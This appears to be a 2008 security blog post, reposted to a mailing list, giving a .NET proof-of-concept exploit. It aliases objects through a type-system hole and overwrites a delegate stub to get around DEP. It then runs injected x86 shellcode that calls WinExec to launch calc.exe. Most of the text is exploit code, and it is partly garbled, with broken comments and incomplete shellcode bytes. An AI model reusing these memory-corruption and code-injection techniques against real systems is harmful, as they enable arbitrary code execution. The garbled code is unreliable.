Let's start out with some convenient types that allow bit twiddeling once we've subverted the type system:
volatile int i;
volatile int j;
volatile object o;
volatile int arr;
Now we need a way to get two different references to the same object. This is where the exploit comes in, but since I'm not going to publish an exploit for an unpatched bug, we'll make do with something that works but requires full trust:
ACTUALLY A SECURITY HOLE!
need full trust to execute this code.
uu = new UnsafeUnion();
uu.u2 = u2;
Now for the interesting bit, getting some x86 code to execute:
u2 = new Union2();
u1 = TypeSystemHole(u2);
// u1 and u2 now
reference the same object,
// meaning that we can now convert arbitrary integer
// into objects or arrays (and v.v.)
del = new ThreadStart(DummyMethod);
// A delegate
provides an easy way to call the code we're
// generating. As it turns out, it is also a good way
// to bypass DEP, because the delegate stub is in writable
// executable memory.
u2.o = del;
u1.j = u1.i;
u1.j = u2.arr - 12;
// Make the delegate
object accessible via the object,
// then get the address the delegate points to and make
// it accessible via the object reference.
// The x86 code we're
05 push 5
// 68 xx xx xx xx push offset string
// B8 xx xx xx xx mov eax,<address of
D0 call eax
mem = new MemoryStream();
bw = new BinaryWriter(mem);
u2.o = Encoding.ASCII.GetBytes("calc.exe\0");
bw.Write(u1.i + 8);
// Now that we've
created the code, copy it into the delegate
// stub memory area.
tmp = mem.ToArray();
for (int i = 0; i < tmp.Length
/ 4; i++)
u2.arr[1 + i] = BitConverter.ToInt32(tmp, i * 4);
// Invoke the
delegate, which will result in running our
// code, instead of the delegate stub.
The missing piece is GetProcAddressAny. It basically searches memory for kernel32 and looks up the address of the WinExec function.
The full source is available here: TypeSafetyExploitPoC.cs
Note that this PoC requires full trust and obviously only works on x86, but all the ideas are applicable to x64 as well.
2008-9-13 9:03:01 (W. Europe Daylight Time, UTC+02:00)
[Ph4nt0m Security Team]
=== V3ry G00d, V3ry Str0ng ===
=== Ultim4te H4cking ===
=== XPLOITZ ! ===
=== #_# ===
#If you brave,there is nothing you cannot achieve.#
----- Original Message -----From: ayaREISent: Wednesday, September 17, 2008 7:09 PM